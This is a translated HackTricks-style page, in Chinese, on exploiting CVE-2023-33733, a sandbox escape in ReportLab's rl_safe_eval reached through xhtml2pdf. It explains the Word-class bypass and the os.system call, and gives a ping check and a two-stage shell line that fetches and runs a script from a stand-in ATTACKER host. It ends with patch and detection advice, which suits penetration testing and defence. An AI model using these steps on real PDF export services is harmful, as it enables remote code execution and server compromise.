ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
Reading time: 8 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
本页记录了在 ReportLab 的 rl_safe_eval 中发现的一个实用沙箱逃逸与 RCE 原语,该函数被 xhtml2pdf 和其他 PDF 生成流水线在将用户控制的 HTML 渲染为 PDF 时使用。
CVE-2023-33733 影响 ReportLab 直到并包括 3.6.12 版本。在某些属性上下文(例如 color)中,被三重方括号 [[[ ... ]]] 包裹的值会被 rl_safe_eval 在服务器端求值。通过构造一个从白名单内置函数 (pow) 转向其 Python 函数 globals 的载荷,攻击者可以访问到 os 模块并执行命令。
要点
- 触发:在由 ReportLab/xhtml2pdf 解析的标记中,将 [[[ ... ]]] 注入到被求值的属性(如 )中。
- 沙箱:rl_safe_eval 会替换危险的 builtin,但被求值的函数仍然暴露 globals。
- 绕过:构造一个临时类 Word 来绕过 rl_safe_eval 的名称检查并在不触及被阻止的双下划线过滤的情况下访问字符串 "globals"。
- RCE:getattr(pow, Word("globals"))["os"].system("
") - 稳定性:执行后返回一个该属性的有效值(对于 color,使用 and 'red')。
何时测试
- 向 HTML 转 PDF 导出(例如 profile、invoice、report)开放的应用,并且在 PDF 元数据或 HTTP 响应注释中显示 xhtml2pdf/ReportLab。
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → 出现 "xhtml2pdf" producer
- PDF 的 HTTP 响应通常以 ReportLab 的生成器注释开头
沙箱绕过原理
- rl_safe_eval 会移除或替换许多内置函数(getattr、type、pow 等),并对名称应用过滤以拒绝以 __ 开头或在拒绝列表中的属性。
- 然而,被允许的函数仍然位于可通过 func.globals 访问的 globals 字典中。
- 使用 type(type(1)) 恢复真实的内置 type 函数(绕过 ReportLab 的包装),然后定义一个从 str 派生的 Word 类并改变比较行为,使得:
- .startswith('') → 始终 False(绕过 name startswith('') 检查)
- .eq 在第一次比较时返回 False(绕过 denylist 成员检查),之后返回 True(使 Python 的 getattr 能工作)
- .hash 等于 hash(str(self))
- 这样,getattr(pow, Word('globals')) 返回被包装 pow 函数的 globals 字典,其中包含导入的 os 模块。然后:['os'].system('
')。
最小化利用模式(属性示例) 将载荷放在被求值的属性中,并确保通过 boolean 和 'red' 返回一个有效的属性值。
- 列表推导式形式允许一个被 rl_safe_eval 接受的单表达式。
- 末尾的 and 'red' 返回一个有效的 CSS 颜色,从而不会破坏渲染。
- 根据需要替换命令;使用 ping 并配合 tcpdump 验证执行。
操作流程
- 确认 PDF 生成器
- PDF Producer 显示 xhtml2pdf;HTTP 响应包含 ReportLab 注释。
- 找到被反射到 PDF 的输入(例如 profile bio/description),并触发导出。
- 使用低噪声的 ICMP 验证执行
- 运行:sudo tcpdump -ni
icmp - 载荷:... system('ping <your_ip>') ...
- Windows 默认通常发送恰好四个 echo 请求。
- 建立 shell
- 对于 Windows,可靠的两阶段方法可以避免引用/编码问题:
- Stage 1 (download):
- Stage 2 (execute):
- 对于 Linux 目标,也可以使用类似的两阶段 curl/wget:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
说明与提示
- 属性上下文:color 是已知的被求值属性;ReportLab 标记中的其他属性也可能求值。如果某个位置被过滤,尝试 PDF 流中渲染的其他位置(不同字段、表格样式等)。
- 引号处理:保持命令简洁。两阶段下载可以大大减少引用和转义问题。
- 可靠性:如果导出被缓存或排队,稍微改变载荷(例如随机路径或查询)以避免命中缓存。
缓解与检测
- 升级 ReportLab 至 3.6.13 或更高版本(CVE-2023-33733 已修复)。同时关注发行版包的安全公告。
- 不要在未严格消毒的情况下将用户控制的 HTML/标记直接输入到 xhtml2pdf/ReportLab。对不受信的输入移除/禁止 [[[...]]] 求值结构和厂商特定标签。
- 考虑对不受信的输入完全禁用或封装 rl_safe_eval 的使用。
- 监控在 PDF 生成期间来自应用服务器的可疑出站连接(例如导出文档时的 ICMP/HTTP)。
参考
- PoC and technical analysis: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
- NVD entry (affected versions): CVE-2023-33733
- xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。